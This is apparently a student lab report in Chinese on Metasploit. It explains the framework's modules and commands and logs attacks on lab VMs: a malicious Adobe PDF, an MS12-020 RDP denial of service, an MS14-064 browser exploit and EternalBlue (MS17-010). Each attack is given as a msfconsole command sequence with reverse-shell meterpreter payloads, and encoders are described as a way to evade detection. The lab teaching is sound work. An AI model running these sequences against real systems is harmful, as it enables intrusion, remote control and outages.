主动攻击的实践: ms17_010(成功)
浏览器攻击的实践:ms14_064(成功)
客户端攻击的实践:adobe reader PDF的攻击(成功)
运用辅助模块的实践:VNC弱口令破解/绕过(失败)RDP远程桌面漏洞(成功 )使用 wmap扫描(唯一)
一.msf的基本组成以及常用的指令介绍
msf的基本模块以及构成
在kali中msf的所在路径为usr/share/metasploit-framework/,在目录下有数据库文件,模块以及其他的msf组件 msfupdate可以更新版本
exploits模块:实现系统漏洞进行攻击得操作:
使用cat指令,可以看具体的代码(cat 漏洞名)
exploit相当于是一个攻击得流程,利用漏洞,而payload是实际在机器中执行得指令/代码。
payload中有三类:
single中放着的是要执行得所有的payload都放在single中
stager计算机内存有限的时候,放一个较小得建立连接的
stages用stager建立连接后,下载后续payload
Auxiliary模块:提供辅助功能,信息搜集,指纹探测扫描等模块其中,encoders模块用于编码,加密,躲避检查
在msfconsole的用户接口下:
connect命令,可以实现监听,建立UDP,TCP连接的功能,并支持SSL协议
show命令,查看msf提供的那些功能,可以实现些什么
show option:查看配置信息
search命令可以使用关键词搜索要使用得模块,代码等,也可以在某一个范围中进行搜索,可以根据反馈得路径找到我们想要的模块c,比如search cve:
2015可以搜索2015年的漏洞,可以方便定位我们想要的模块
info可以查看基本信息,可以看到关于该漏洞得详细说明,使用目标
check命令可以看目标机器是否存在这个漏洞
db_namp IP命令可以实现对目标IP的一个扫描,扫描的结果和nmap相同,扫描后的结果都保存在数据库database.yml中(hosts,services,vulns等查看数据库中的信息)
set指令设置选项 unset取消当前的设置
运行该模块得指令:run exploit
sessions指令可以看到当前已经建立的连接,拿到shell,-i参数可以进入shell
load指令可以使用外部的插件,像什么openvas,Nessus(漏洞扫描)什么的都可以使用
loadpath可以运行我们自己指定得目录下的模块,可以将外部的模块考进来,然后载入运行就可以了
route指令可以指定session路由路线,去攻击内网中的其他机器
meterpreter 一种特殊的shell,相比于一般的命令行的shell,可以做到更多的事情,完成更多的事情,避免作更多的手工操作,方便后渗透测试,有些是完全基于dll写的,注入系统合法进程,不写在硬盘中。
二.实践过程记录:
攻击客户端的实践:在win sp3环境下使用 exploit/windows/fileformat/adobe_utilprintf 模块:
首先,先配置模块需要的参数,设置完成后运行:
use exploit/windows/fileformat/adobe_utilprintfset payload meterpreter/reverse_tcp
set RHOSTS 192.168.171.143
run
在设立监听的模块:
最后,将生成的PDF文件放到目标机器中运行:
...卡住了,好吧,不过还是运行起来了。
在查看主机情况,发现获得shell
辅助模块应用:
VNC弱口令破解
scanner/vnc/vnc_none_auth模块用于查看是否能够绕过口令直接进入系统
扫描并没有发现有漏洞:
RDP远程桌面漏洞
使用dos/windows/rdp/ms12_020_maxchannelids模块可以利用RDP漏洞进行dos攻击:
先要打开,打开允许远程桌面的服务:
使用模块scanner/rdp/ms12_020_check扫描主机是否有漏洞:
那么试试利用执行模块攻击下试试:
系统存在该漏洞,并能够施行dos拒绝服务攻击。
WMAP模块的使用:
先加载插件:load wamp
在使用 wmap_sites -a 设定扫描的目标
使用wmap_targets 设置目标:
wmap_run -h列举一下模块
wmap_run -t 运行
攻击浏览器的实践:windows/browser/ms14_064_ole_code_execution模块实现浏览器攻击:
先使用模块并配置模块:
nmap --script=vuln 192.168.171.143
use windows/browser/ms14_064_ole_code_execution
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.171.142
run
然后目标机器打开网站:
然后获得shell,连接成功:
主动攻击:windows/smb/ms17_010_eternalblue模块攻击win7 虚拟机
nmap --script=vuln 192.168.171.143 扫描漏洞
use exploit/windows/smb/ms17_010_eternalblue
set payload generic/shell_reverse_tcp
set LHOST 192.168.171.142
set RHOSTS 192.168.171.143
run
三.基础问题回答与实践体会:
用自己的话解释什么是exploit,payload,encode
exploit:实现系统漏洞攻击,负责将payload的代码送到受控主机上
payload:实际干坏事的部分
encode:编码,防止干坏事被发现,做到免杀等
实践总结与体会:
发现要攻击一台主机,首先是要保证漏洞没有被打补丁,,这就需要保证使用的漏洞比较新,再有就是感觉的基础知识的不足,在实践过程中,发现很多的模块像SMB,SSH,就看不懂到底是一个什么样的过程,有很多的车扫描知识nmap,sniffner,这些都是学过的东西,然而由于学的很菜,实际应用上就出了很多问题,还是要不断学习吧。
四,距离实战的距离:
首先就是基础知识不足,很多知识不了解就很难受,现在只会用一些最基础,最简单的内容,很low,实用性也很差,使用的模块都是多年以前的,需要补充新知识。
还有就是后渗透测试的不完善,我们可以进入一台主机后,做的事情太简单,,可以控制主机做很多事情扩大战果,并没有做到更深入的渗透,我们对攻击后的痕迹处理也不完善,说白了....还是太菜的缘故....